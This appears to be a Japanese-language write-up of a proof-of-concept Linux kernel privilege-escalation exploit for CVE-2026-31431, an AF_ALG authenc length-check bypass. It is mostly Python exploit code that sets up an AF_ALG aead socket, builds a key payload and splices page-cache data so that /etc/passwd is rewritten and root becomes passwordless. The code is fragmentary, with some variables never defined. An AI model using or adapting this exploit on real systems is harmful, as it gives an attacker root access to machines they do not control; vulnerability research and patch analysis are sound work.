
Proof-of-conceptエクスプロイト for CVE-2026-31431、AF_ALG authenc長さチェックバイパスによるLinuxカーネル権限昇格であり、/etc/passwdを変更してrootを取得します。
この脆弱性は、Linuxのauthencsn長さ検証機能のエラーを悪用し、dirty pageがユーザーに権限のない場所にwrite backされることで、権限昇格を引き起こします。
主にこのrepoの攻撃原理を参考にしており、一部のpayloadは修正されています。 https://github.com/rootsecdev/cve_2026_31431
この図は6.12.85 linux kernelの修正パッチです。今後これらのパッチをtrace codeしていきます。
# Get /etc/passwd file info
with open("/etc/passwd", "rb") as f: # binary open
content = f.read()
idx = content.find(b"root:x") # find root:x location
x_offset = idx + 5 # Get x location
目標は、/etc/passwd内のrootパスワードをパスワードなし(/etc/shadow検証を経由しない)に変更することです。
# Before: root:[x:0:]0:root:/root:/bin/bash
# After root:[:0:0]0:root:/root:/bin/bash
exploit_data = b":0:0"
sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0) # Connect socket AF_ALG using sequence packet
sock.bind(("aead", ALG_NAME))
# Build the key payload
# Structure: [rtattr header (8 bytes)] + [enc_key_len (4 bytes)] + [authkey] + [enckey]
authkey, enckey = b"\x00" * 32, b"\x00" * 16
rtattr = struct.pack("HH", 8, 1)
keyparam = struct.pack(">I", len(enckey))
key = rtattr + keyparam + authkey + enckey
# Set key and accept socket
sock.setsockopt(SOL_ALG, ALG_SET_KEY, key)
op, _ = sock.accept() # open socket
# Send payload
payload = b"\x00" * 4 + string
cmsg = [
(SOL_ALG, ALG_SET_OP, struct.pack("I", 0)), # Decrypt
(SOL_ALG, ALG_SET_IV, struct.pack("I", 16) + b"\x00" * 16), # Set IV
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", 8)), # Set AAD length(8)
]
op.sendmsg([payload], cmsg, socket.MSG_MORE)
# Splice connection
# Page Cache(exploit payload) -> socket(AF_ALG) -> Data(write back) -> pwn!!!
pr, pw = os.pipe()
os.splice(fd, pw, 32, offset_src=x_offset) # copy data from Page Cache to pipe
os.splice(pr, op.fileno(), 32) # copy data from pipe to socket
try:
op.recv(64)
except OSError:
pass